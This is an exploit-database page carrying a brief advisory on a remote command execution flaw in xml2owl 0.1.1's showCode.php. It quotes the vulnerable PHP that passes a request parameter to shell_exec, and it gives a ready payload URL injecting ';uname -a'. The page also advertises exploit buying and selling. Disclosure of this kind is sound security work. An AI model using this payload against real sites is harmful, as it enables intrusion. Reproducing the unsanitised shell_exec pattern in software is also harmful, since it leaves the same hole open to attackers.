0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
xml2owl 0.1.1 showCode.php Remote Command Execution Vulnerability
================================================================= xml2owl 0.1.1 showCode.php Remote Command Execution Vulnerability ================================================================= --------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ | | | \ | |/ \ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| \/\______| \/ \/ --------------------------------------------------------------- Remote Command Execution --------------------------------------------------------------- # Author: MhZ91 # Title: xml2owl-0.1.1 - Remote Command Execution # Download: http://surfnet.dl.sourceforge.net/sourceforge/xml2owl/xml2owl-0.1.1.tar.bz2 # Bug: Remote Command Execution # Info: Up to now, most ontologies are created manually, which is very time-expensive. The goal is it, to produce ontologies automatically via XSLT, which fit as good as possible to a given XML-file resp. XML-Schema-file --------------------------------------------------------------- In the file showCode.php there is this... <? $xml2html = "xsl/xmlverbatim.xsl"; $path = $_REQUEST['path']; <- if(class_exists('XSLTProcessor')) { $xsl = new XSLTProcessor(); $res = DOMDocument::load($path); $xsl->importStylesheet(DOMDocument::load($xml2html)); echo $xsl->transformToXML($res); } else { $exec_string = "xsltproc " . $xml2html . " " . $path; <- echo shell_exec($exec_string); <- } ?> We can modify the $path variable.. and give a remote command execution by the function shell_exec.. Type http://www.site.com/showCode.php?path=;uname -a ... --------------------------------------------------------------- # 0day.today [2024-12-26] #